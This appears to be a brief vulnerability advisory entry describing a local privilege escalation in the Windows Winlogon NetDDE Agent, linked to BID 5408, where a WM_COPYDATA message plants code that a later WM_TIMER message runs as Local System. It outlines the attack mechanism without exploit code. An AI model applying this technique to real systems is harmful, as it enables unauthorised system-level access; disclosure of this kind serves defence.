The Winlogon NetDDE Agent can be leveraged to allow local privilege escalation. This is related to the Microsoft Windows Window Message Subsystem Design Error Vulnerability (BID 5408). A local user can use a WM_COPYDATA message to send arbitrary code to NetDDE, which will be executed with Local System privileges when a second WM_TIMER message is sent.
